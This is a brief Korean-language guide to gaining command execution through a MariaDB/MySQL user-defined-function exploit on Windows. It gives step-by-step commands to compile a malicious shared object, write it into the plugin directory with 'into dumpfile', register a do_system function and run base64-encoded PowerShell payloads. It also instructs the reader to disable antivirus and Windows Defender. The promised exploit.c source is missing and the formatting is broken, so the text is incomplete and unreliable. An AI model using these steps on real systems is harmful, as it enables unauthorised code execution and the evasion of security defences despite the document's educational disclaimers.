
Database authenticated code execution
이 가이드는 데이터베이스 시스템에서 사용자 정의 함수(User-Defined Function, UDF) 공격을 재현하는 단계별 지침을 제공합니다. 이 익스플로잇은 일부 시스템에서 작동할 수 있지만, 64비트 아키텍처나 특정 빌드에서는 올바르게 작동하지 않을 수 있습니다.
경고: 이 내용은 교육 목적으로만 제공됩니다. 이 기술을 무단으로 사용하는 것은 불법이며 비윤리적입니다.
먼저 exploit.c 파일을 만들고 다음 코드를 추가합니다:
### 2. UDF 코드 컴파일
`x86_64-w64-mingw32-gcc` 컴파일러를 사용하여 익스플로잇 코드를 컴파일합니다:
```bash
x86_64-w64-mingw32-gcc -g -c exploit.c
컴파일된 오브젝트 파일로부터 공유 오브젝트 파일(exploit.so)을 생성합니다:
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
xxd를 사용하여 .so 파일을 16진수 형식으로 변환합니다:
xxd -p exploit.so | tr -d '\n' > hex_value.txt
hex_value.txt에서 16진수 값을 복사하여 데이터베이스에서 다음 명령을 실행합니다:
DB> set @shell = 0x<hex_value>;
다음을 실행하여 플러그인 디렉토리를 확인합니다:
DB> select @@plugin_dir;
그런 다음 플러그인 디렉토리에 익스플로잇 공유 오브젝트를 생성합니다:
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
참고: 시스템 구성이나 특정 플러그인 디렉토리에 따라 경로를 조정하십시오.
익스플로잇을 사용하여 데이터베이스에 새 함수를 생성합니다:
DB> create function do_system returns integer soname 'exploit.so';
익스플로잇을 차단할 수 있는 바이러스 백신 또는 Windows Defender를 비활성화하십시오. 그런 다음 새로 생성된 함수를 사용하여 명령을 실행합니다:
DB> select do_system('powershell base64 here');
'powershell base64 here'를 실행하려는 명령의 base64로 인코딩된 페이로드로 바꾸십시오.
면책 조항: 이 문서는 교육 목적과 보안 연구를 위해서만 제공됩니다. 이 정보를 오용하면 형사 고발 및 심각한 법적 처벌을 받을 수 있습니다. 네트워크나 시스템에서 취약점을 테스트하기 전에 항상 관련 기관의 허가를 받으십시오.